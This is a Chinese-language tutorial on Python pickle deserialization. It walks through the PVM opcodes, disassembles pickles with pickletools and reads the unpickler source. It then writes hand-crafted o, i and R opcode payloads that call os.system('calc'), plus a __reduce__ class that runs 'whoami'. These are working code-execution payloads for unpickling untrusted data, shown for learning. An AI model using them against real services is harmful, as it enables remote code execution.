Python_pickle反序列化

Pickle 反序列化

我的世界有一个咒法学模组,也是栈编程,很有意思,有兴趣可以试一试,如果很难理解栈编程的话玩一下就完全明白了 :P

pickle是一种栈语言,它有不同的编写方式,基于轻量级的 PVM(Pickle Virtual Machine)。

  • 指令处理器:

    指令处理器从流中读取操作码(opcode)和参数,并对其进行解释处理。重复这个动作,直到遇到结束符号 . 后停止。最终留在栈顶的值将被作为反序列化对象返回。

  • 栈(Stack):

    采用 Python 的列表实现,用于临时存储数据、参数以及对象。

  • 记忆(Memo):

    使用 Python 的字典实现,为 PVM 的整个生命周期提供存储。

pickle 模块实现了对 Python 对象结构的二进制序列化和反序列化。

pickle 主要包含四个方法,简要描述如下:

1
2
3
4
pickle.dump(obj, file)  # 将 obj 对象进行序列化并写入到 file 文件中,需要以二进制写入模式('wb')打开 file。
pickle.load(file) # 从 file 文件中反序列化对象,需要以二进制读取模式('rb')打开 file。
pickle.dumps(obj) # 将 obj 对象进行序列化并返回其字节表示。
pickle.loads(data) # 反序列化 data(字节类对象)并返回相应的对象。

dumpload 方法类似于 PHP 的 serializeunserialize

了解更多详情,请参阅官方文档

实际上,pickle 可以看作一种独立的语言,通过编写操作码(opcode)可以执行 Python 代码、覆盖变量等操作。直接编写操作码的灵活性高于使用 pickle 序列化生成的代码。

下面是基本的pickle的操作码(opcode)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
MARK           = b'('   # 在栈上推送特殊的标记对象
STOP = b'.' # 每个 pickle 都以 STOP 结束
POP = b'0' # 弹出栈顶元素
POP_MARK = b'1' # 弹出从栈顶到最上面的标记对象
DUP = b'2' # 复制栈顶元素
FLOAT = b'F' # 推送浮点数对象;十进制字符串参数
INT = b'I' # 推送整数或布尔值;十进制字符串参数
BININT = b'J' # 推送四字节有符号整数
BININT1 = b'K' # 推送一字节无符号整数
LONG = b'L' # 推送长整数;十进制字符串参数
BININT2 = b'M' # 推送二字节无符号整数
NONE = b'N' # 推送 None
PERSID = b'P' # 推送持久对象;ID 取自字符串参数
BINPERSID = b'Q' # 推送持久对象;ID 取自栈上的字符串参数
REDUCE = b'R' # 对栈上的参数元组应用可调用对象
STRING = b'S' # 推送字符串;以 NL 结尾的字符串参数
BINSTRING = b'T' # 推送字符串;计数二进制字符串参数
SHORT_BINSTRING= b'U' # 推送字符串;计数二进制字符串参数,长度 < 256 字节
UNICODE = b'V' # 推送 Unicode 字符串;原始 Unicode 转义的参数
BINUNICODE = b'X' # 推送字符串;计数 UTF-8 字符串参数
APPEND = b'a' # 将栈顶元素附加到其下的列表
BUILD = b'b' # 调用 __setstate__ 或 __dict__.update()
GLOBAL = b'c' # 推送 self.find_class(modname, name);两个字符串参数
DICT = b'd' # 从栈项构建字典
EMPTY_DICT = b'}' # 推送空字典
APPENDS = b'e' # 通过栈上的最上面的切片扩展栈上的列表
GET = b'g' # 从备忘录推送项目到栈上;索引为字符串参数
BINGET = b'h' # 从备忘录推送项目到栈上;索引为一字节参数
INST = b'i' # 构建并推送类实例
LONG_BINGET = b'j' # 从备忘录推送项目到栈上;索引为四字节参数
LIST = b'l' # 从栈上的最上面的项构建列表
EMPTY_LIST = b']' # 推送空列表
OBJ = b'o' # 构建并推送类实例
PUT = b'p' # 将栈顶元素存储在备忘录中;索引为字符串参数
BINPUT = b'q' # 将栈顶元素存储在备忘录中;索引为一字节参数
LONG_BINPUT = b'r' # 将栈顶元素存储在备忘录中;索引为四字节参数
SETITEM = b's' # 向字典添加键值对
TUPLE = b't' # 从栈上的最上面的项构建元组
EMPTY_TUPLE = b')' # 推送空元组
SETITEMS = b'u' # 通过添加栈上的最上面的键值对修改字典
BINFLOAT = b'G' # 推送浮点数;参数为 8 字节浮点数编码

TRUE = b'I01\n' # 不是操作码;参见 pickletools.py 中的 INT 文档
FALSE = b'I00\n' # 不是操作码;参见 pickletools.py 中的 INT 文档

# 协议 2

PROTO = b'\x80' # 标识 pickle 协议
NEWOBJ = b'\x81' # 通过将 cls.__new__ 应用于参数元组构建对象
EXT1 = b'\x82' # 从扩展注册表推送对象;一字节索引
EXT2 = b'\x83' # 同上,但是二字节索引
EXT4 = b'\x84' # 同上,但是四字节索引
TUPLE1 = b'\x85' # 从栈顶构建一个元组
TUPLE2 = b'\x86' # 从两个最上面的栈项构建一个二元组
TUPLE3 = b'\x87' # 从三个最上面的栈项构建一个三元组
NEWTRUE = b'\x88' # 推送 True
NEWFALSE = b'\x89' # 推送 False
LONG1 = b'\x8a' # 从长度 < 256 字节的字符串推送长整数
LONG4 = b'\x8b' # 推送非常大的长整数

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# 协议 3 (Python 3.x)

BINBYTES = b'B' # 推送字节;计数二进制字符串参数
SHORT_BINBYTES = b'C' # 推送字节;计数二进制字符串参数,长度 < 256 字节

# 协议 4

SHORT_BINUNICODE = b'\x8c' # 推送短字符串;UTF-8 长度 < 256 字节
BINUNICODE8 = b'\x8d' # 推送非常长的字符串
BINBYTES8 = b'\x8e' # 推送非常长的字节字符串
EMPTY_SET = b'\x8f' # 在栈上推送空集合
ADDITEMS = b'\x90' # 通过添加栈上最上面的项修改集合
FROZENSET = b'\x91' # 从栈上最上面的项构建 frozenset
NEWOBJ_EX = b'\x92' # 类似 NEWOBJ,但是适用于仅关键字参数
STACK_GLOBAL = b'\x93' # 与 GLOBAL 相同,但是使用栈上的名称
MEMOIZE = b'\x94' # 在备忘录中存储栈顶元素
FRAME = b'\x95' # 表示新帧的开始

# 协议 5

BYTEARRAY8 = b'\x96' # 推送 bytearray
NEXT_BUFFER = b'\x97' # 推送下一个带外缓冲区
READONLY_BUFFER = b'\x98' # 将栈顶设为只读

就这么看着还是很难懂,最直观的方法就是跟进调试一下

跟进调试

pickletools

pickletools可以将opcode指令转变成直观的操作码的形式

测试代码如下

1
2
3
4
5
6
7
import pickletools
import pickle
class A():
def __init__(self) -> None:
self.x = 1
a = A()
print(pickletools.dis(pickle.dumps(a)))

run一下得到下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 0: \x80 PROTO      4
2: \x95 FRAME 31
11: \x8c SHORT_BINUNICODE '__main__'
21: \x94 MEMOIZE (as 0)
22: \x8c SHORT_BINUNICODE 'A'
25: \x94 MEMOIZE (as 1)
26: \x93 STACK_GLOBAL
27: \x94 MEMOIZE (as 2)
28: ) EMPTY_TUPLE
29: \x81 NEWOBJ
30: \x94 MEMOIZE (as 3)
31: } EMPTY_DICT
32: \x94 MEMOIZE (as 4)
33: \x8c SHORT_BINUNICODE 'x'
36: \x94 MEMOIZE (as 5)
37: K BININT1 1
39: s SETITEM
40: b BUILD
41: . STOP

第一个 PROTO(\x80) 标识 pickle 协议,后面跟着版本号 4

FRAME(\x95) 表示新帧的开始 后面31代表后面的31位指令都是这个新帧

SHORT_BINUNICODE(\x8c) 推送短字符串 ‘__main__

MEMOIZE(\x94) 压到栈顶 ,目前是第0个

\x8c 推送短字符串 ‘A’

\x94 压栈

重要的指令来了 STACK_GLOBAL(\x93) 和global相同,我们跟进看一下相关类

1
2
3
4
5
6
7
def load_stack_global(self):
name = self.stack.pop()
module = self.stack.pop()
if type(name) is not str or type(module) is not str:
raise UnpicklingError("STACK_GLOBAL requires str")
self.append(self.find_class(module, name))
dispatch[STACK_GLOBAL[0]] = load_stack_global

弹出名字和模块名传给find_class

传入两个参数 modname 模块名 name 名字,根据上面的栈来看,我们传入了modname ='__main__'name=A

我们找一下find_class,进pickle.loads里面的类库看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
def find_class(self, module, name):
# Subclasses may override this.
sys.audit('pickle.find_class', module, name)
if self.proto < 3 and self.fix_imports:
if (module, name) in _compat_pickle.NAME_MAPPING:
module, name = _compat_pickle.NAME_MAPPING[(module, name)]
elif module in _compat_pickle.IMPORT_MAPPING:
module = _compat_pickle.IMPORT_MAPPING[module]
__import__(module, level=0)
if self.proto >= 4:
return _getattribute(sys.modules[module], name)[0]
else:
return getattr(sys.modules[module], name)

self.proto进行版本检查,我们是4,直接对应下面代码

1
return _getattribute(sys.modules[module], name)[0]

跟进后发现这是根据返回类名和值来返回一个类对象, 并把它压入栈中(此时还没有生成类对象)

EMPTY_TUPLE( ) ) 推送空元组

NEWOBJ(\x81) 通过将 cls.__new__ 应用于参数元组构建对象

又是一个陌生的方法,跟进查看一下

load_newobj找到

1
2
3
4
5
6
7
def load_newobj_ex(self):
kwargs = self.stack.pop()
args = self.stack.pop()
cls = self.stack.pop()
obj = cls.__new__(cls, *args, **kwargs)
self.append(obj)
dispatch[NEWOBJ_EX[0]] = load_newobj_ex

就是弹出前三个参来构建一个类,并压入栈中

EMPTY_DICT( } ) 推送空字典

\x8c 推送字符串’x’

\x94 压栈

BININT1(K) 推送一字节无符号整数 1

SETITEM(s) 向字典添加键值对,不知道这么配对的,跟进一下源码

1
2
3
4
5
6
7
def load_setitem(self):
stack = self.stack
value = stack.pop()
key = stack.pop()
dict = stack[-1]
dict[key] = value
dispatch[SETITEM[0]] = load_setitem

先弹值再弹键

最后一步BUILD(b) 调用 __setstate____dict__.update() 构建这个类

STOP( . ) 言简意赅,就是结束

我们通过跟进调试了解了过程,现在我们可以尝试自己写了

pickle构造

常见操作码构造

让我们重新研究一下 opcode ,找到下面操作码

1
2
3
4
5
6
OBJ            = b'o'   # 构建并推送类实例
INST = b'i' # 构建并推送类实例
REDUCE = b'R' # 对栈上的参数元组应用可调用对象
TUPLE = b't' # 从栈上的最上面的项构建元组

GLOBAL = b'c' # 推送 self.find_class(modname, name);两个字符串参数

我们对这三个研究一下

先从熟悉的global入手,翻到源码

1
2
3
4
5
6
def load_global(self):
module = self.readline()[:-1].decode("utf-8")
name = self.readline()[:-1].decode("utf-8")
klass = self.find_class(module, name)
self.append(klass)
dispatch[GLOBAL[0]] = load_global

还是很好懂的,和stack_global差不多只不过stack_global是从栈读取的,global是从行读取的也就是说从c开始要连续读取两行字符作为参数传递,前面简单的带了一笔具体使用方法我们可以跟进测试一下,我们直接跟进到find_class_getattribute

1
2
3
4
5
6
7
8
9
10
11
12
def _getattribute(obj, name):
for subpath in name.split('.'):
if subpath == '<locals>':
raise AttributeError("Can't get local attribute {!r} on {!r}"
.format(name, obj))
try:
parent = obj
obj = getattr(obj, subpath)
except AttributeError:
raise AttributeError("Can't get attribute {!r} on {!r}"
.format(name, obj)) from None
return obj, parent

用到了getattr具体使用我们测试一下

1
print(getattr(sys.modules['os'],'system'))	# sys.modules是模拟find_class直接传过来的参

回显

1
<built-in function system>

直接调用了system函数

测试一下能不能直接用

1
print(getattr(sys.modules['os'],'system')('calc'))

成功弹出计算器,说明global 就是个回调函数,同时我们也发现getattr会自动帮我们import库,相同的,说明pickle在load的时候也是自动import

o操作符

知道了怎么用剩下就是构造执行的问题了,根据上面的有三种方法可以构造并推送,先从o操作码讲

1
2
3
4
5
6
def load_obj(self):
# Stack is ... markobject classobject arg1 arg2 ...
args = self.pop_mark()
cls = args.pop(0)
self._instantiate(cls, args)
dispatch[OBJ[0]] = load_obj

提取的参要求是markobject或者classobject,构造类太麻烦了,我们看markobject

上面有一条

1
MARK           = b'('   # push special markobject on stack

然后从标记的地方弹出获取第一个对象作为回调函数,第二个对象作为值然后推送

那么我们能构造出payload

1
2
3
4
(cos
system
S'calc'
o.

放到python测试

1
2
3
4
5
6
7
8
9
10
import pickle
import pickletools

payload='''(cos
system
S'calc'
o.'''
print(payload.encode())
pickletools.dis(payload.encode())
pickle.loads(payload.encode())

成功弹出计算器

i操作符

接下来我们看i操作码

1
2
3
4
5
6
def load_inst(self):
module = self.readline()[:-1].decode("ascii")
name = self.readline()[:-1].decode("ascii")
klass = self.find_class(module, name)
self._instantiate(klass, self.pop_mark())
dispatch[INST[0]] = load_inst

i操作码后面连续读取两行作为回调函数,然后在从pop_mark去参数传给回调函数

最后构建的payload为

1
2
3
4
(S'calc'
ios
system
.

这个pop_mark一定要放在前面,试了半天,弄出来才恍然大悟,放在后面他读不到= =

测试一下成功弹计算器

R操作符

最后一个t+R构造

R对栈上的参数元组应用可调用对象,需要元组自然需要t来构建

我们看R的源码

1
2
3
4
5
6
def load_reduce(self):
stack = self.stack
args = stack.pop()
func = stack[-1]
stack[-1] = func(*args)
dispatch[REDUCE[0]] = load_reduce

很显而易见,从栈顶上弹出一个元组然后和栈上最后一个对象结合返回,很简单的就能构建出payload

1
2
3
4
cos
system
(S'calc'
tR.

测试一下弹出计算器

__reduce__方法

python和php一样有很多方法比如__init__类似与php的__constuct 都是初始化的调用,而有个很重要的方法就是__reduce__,我们看一下官方的描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
object.__reduce__()
The interface is currently defined as follows. The __reduce__() method takes no argument and shall return either a string or preferably a tuple (the returned object is often referred to as the “reduce value”).
If a string is returned, the string should be interpreted as the name of a global variable. It should be the object’s local name relative to its module; the pickle module searches the module namespace to determine the object’s module. This behaviour is typically useful for singletons.
When a tuple is returned, it must be between two and six items long. Optional items can either be omitted, or None can be provided as their value. The semantics of each item are in order:
A callable object that will be called to create the initial version of the object.
A tuple of arguments for the callable object. An empty tuple must be given if the callable does not accept any argument.
Optionally, the object’s state, which will be passed to the object’s __setstate__() method as previously described. If the object has no such method then, the value must be a dictionary and it will be added to the object’s __dict__ attribute.
Optionally, an iterator (and not a sequence) yielding successive items. These items will be appended to the object either using obj.append(item) or, in batch, using obj.extend(list_of_items). This is primarily used for list subclasses, but may be used by other classes as long as they have append and extend methods with the appropriate signature. (Whether append() or extend() is used depends on which pickle protocol version is used as well as the number of items to append, so both must be supported.)
Optionally, an iterator (not a sequence) yielding successive key-value pairs. These items will be stored to the object using obj[key] = value. This is primarily used for dictionary subclasses, but may be used by other classes as long as they implement __setitem__().
Optionally, a callable with a (obj, state) signature. This callable allows the user to programmatically control the state-updating behavior of a specific object, instead of using obj’s static __setstate__() method. If not None, this callable will have priority over obj’s __setstate__().
New in version 3.8: The optional sixth tuple item, (obj, state), was added.

接口当前定义如下。__reduce__()方法不接受参数,返回一个字符串,最好是一个元组(返回的对象通常被称为“reduce值”)。
如果返回的是字符串,则应该将该字符串解释为全局变量的名称。它应该是对象相对于其模块的局部名称;pickle模块通过搜索模块命名空间来确定对象所属的模块。这种行为通常对单例很有用。
返回元组时,它的长度必须在2到6个元素之间。可选项可以省略,也可以赋值None。每个元素项的语义如下:
一个可调用对象,将被调用以创建该对象的初始版本。
可调用对象的参数元组。如果可调用对象不接受任何参数,则必须给出空元组。
对象的状态是可选的,它将像之前描述的那样传递给对象的__setstate__()方法。如果对象没有这样的方法,则值必须是一个字典,并将其添加到对象的__dict__属性中。
可选的,产生连续元素的迭代器(而不是序列)。这些项可以使用obj.append(item)添加到对象中,也可以使用obj.extend(list_of_items)批量添加。这主要用于列表的子类,但其他类也可以使用,只要添加和扩展的方法具有适当的签名。(使用append()还是extend()取决于使用的pickle协议版本以及要追加的项的数量,因此必须同时支持这两种协议。)
一个可选的迭代器(不是序列),产生连续的键值对。使用obj[key] = value将这些项存储到对象中。这主要用于字典的子类,但其他类也可以使用,只要它们实现了__setitem__()。
可选的,带有(obj, state)签名的可调用对象。这个可调用方法允许用户以编程方式控制特定对象的状态更新行为,而不是使用obj的静态__setstate__()方法。如果不是None,这个可调用对象将优先于obj的__setstate__()。
3.8新版功能:添加了可选的第六个元组项(obj, state)。

它应该是对象相对于其模块的局部名称;pickle模块通过搜索模块命名空间来确定对象所属的模块

pickle在loads的时候就会触发这个方法,我们就可以构造__reduce__来执行我们想要的命令

我们简单写一下测试代码

1
2
3
4
5
6
7
8
9
10
import pickle
import pickletools
class A():
def __reduce__(self):
return (__import__('os').system, ("whoami",))

p=A()
s=pickle.dumps(p)
pickletools.dis(s)
pickle.loads(s)

可以看到在__reduce__是要import模块来导入os的

回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    0: \x80 PROTO      4
2: \x95 FRAME 30
11: \x8c SHORT_BINUNICODE 'nt'
15: \x94 MEMOIZE (as 0)
16: \x8c SHORT_BINUNICODE 'system'
24: \x94 MEMOIZE (as 1)
25: \x93 STACK_GLOBAL
26: \x94 MEMOIZE (as 2)
27: \x8c SHORT_BINUNICODE 'whoami'
35: \x94 MEMOIZE (as 3)
36: \x85 TUPLE1
37: \x94 MEMOIZE (as 4)
38: R REDUCE
39: \x94 MEMOIZE (as 5)
40: . STOP
highest protocol among opcodes = 4
osthing\28659

成功执行命令,同时可以看见,__reduce__实际是执行R操作码的